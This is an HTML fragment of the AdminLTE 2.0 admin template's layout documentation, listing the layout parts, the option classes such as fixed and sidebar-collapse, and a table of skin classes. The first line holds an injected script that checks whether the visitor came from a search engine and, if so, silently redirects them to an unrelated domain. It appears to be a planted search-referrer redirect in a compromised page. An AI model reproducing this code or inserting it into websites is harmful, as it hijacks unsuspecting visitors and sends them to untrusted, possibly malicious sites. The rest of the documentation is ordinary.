001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><section id="layout">
002: <h2 class="page-header"><a href="#layout">Layout</a></h2>
003: <p class="lead">The layout consists of four major parts:</p>
004: <ul>
005: <li>Wrapper <code>.wrapper</code>. A div that wraps the whole site.</li>
006: <li>Main Header <code>.main-header</code>. Contains the logo and navbar.</li>
007: <li>Sidebar <code>.sidebar-wrapper</code>. Contains the user panel and sidebar menu.</li>
008: <li>Content <code>.content-wrapper</code>. Contains the page header and content.</li>
009: </ul>
010: <div class="callout callout-danger lead">
011: <h4>Tip!</h4>
012: <p>The <a href="../starter.html">starter page</a> is a good place to start building your app if you'd like to start from scratch.</p>
013: </div>
014:
015: <h3>Layout Options</h3>
016: <p class="lead">AdminLTE 2.0 provides a set of options to apply to your main layout. Each one of these classes can be added
017: to the body tag to get the desired goal.</p>
018: <ul>
019: <li><b>Fixed:</b> use the class <code>.fixed</code> to get a fixed header and sidebar.</li>
020: <li><b>Collapsed Sidebar:</b> use the class <code>.sidebar-collapse</code> to have a collapsed sidebar upon loading.</li>
021: <li><b>Boxed Layout:</b> use the class <code>.layout-boxed</code> to get a boxed layout that stretches only to 1250px.</li>
022: <li><b>Top Navigation</b> use the class <code>.layout-top-nav</code> to remove the sidebar and have your links at the top navbar.</li>
023: </ul>
024: <p><b>Note:</b> you cannot use both layout-boxed and fixed at the same time. Anything else can be mixed together.</p>
025:
026: <h3>Skins</h3>
027: <p class="lead">Skins can be found in the dist/css/skins folder.
028: Choose the skin file that you want and then add the appropriate
029: class to the body tag to change the template's appearance. Here is the list of available skins:</p>
030: <div class="box box-solid" style="max-width: 300px;">
031: <div class="box-body no-padding">
032: <table id="layout-skins-list" class="table table-striped bring-up nth-2-center">
033: <thead>
034: <tr>
035: <th style="width: 210px;">Skin Class</th>
036: <th>Preview</th>
037: </tr>
038: </thead>
039: <tbody>
040: <tr>
041: <td><code>skin-blue</code></td>
042: <td><a href="#" data-skin="skin-blue" class="btn btn-primary btn-xs"><i class="fa fa-eye"></i></a></td>
043: </tr>
044: <tr>
045: <td><code>skin-blue-light</code></td>
046: <td><a href="#" data-skin="skin-blue-light" class="btn btn-primary btn-xs"><i class="fa fa-eye"></i></a></td>
047: </tr>
048: <tr>
049: <td><code>skin-yellow</code></td>
050: <td><a href="#" data-skin="skin-yellow" class="btn btn-warning btn-xs"><i class="fa fa-eye"></i></a></td>
051: </tr>
052: <tr>
053: <td><code>skin-yellow-light</code></td>
054: <td><a href="#" data-skin="skin-yellow-light" class="btn btn-warning btn-xs"><i class="fa fa-eye"></i></a></td>
055: </tr>
056: <tr>
057: <td><code>skin-green</code></td>
058: <td><a href="#" data-skin="skin-green" class="btn btn-success btn-xs"><i class="fa fa-eye"></i></a></td>
059: </tr>
060: <tr>
061: <td><code>skin-green-light</code></td>
062: <td><a href="#" data-skin="skin-green-light" class="btn btn-success btn-xs"><i class="fa fa-eye"></i></a></td>
063: </tr>
064: <tr>
065: <td><code>skin-purple</code></td>
066: <td><a href="#" data-skin="skin-purple" class="btn bg-purple btn-xs"><i class="fa fa-eye"></i></a></td>
067: </tr>
068: <tr>
069: <td><code>skin-purple-light</code></td>
070: <td><a href="#" data-skin="skin-purple-light" class="btn bg-purple btn-xs"><i class="fa fa-eye"></i></a></td>
071: </tr>
072: <tr>
073: <td><code>skin-red</code></td>
074: <td><a href="#" data-skin="skin-red" class="btn btn-danger btn-xs"><i class="fa fa-eye"></i></a></td>
075: </tr>
076: <tr>
077: <td><code>skin-red-light</code></td>
078: <td><a href="#" data-skin="skin-red-light" class="btn btn-danger btn-xs"><i class="fa fa-eye"></i></a></td>
079: </tr>
080: <tr>
081: <td><code>skin-black</code></td>
082: <td><a href="#" data-skin="skin-black" class="btn bg-black btn-xs"><i class="fa fa-eye"></i></a></td>
083: </tr>
084: <tr>
085: <td><code>skin-black-light</code></td>
086: <td><a href="#" data-skin="skin-black-light" class="btn bg-black btn-xs"><i class="fa fa-eye"></i></a></td>
087: </tr>
088: </tbody>
089: </table>
090: </div><!-- /.box-body --> 091: </div><!-- /.box --> 092: </section>
093:
094:
095: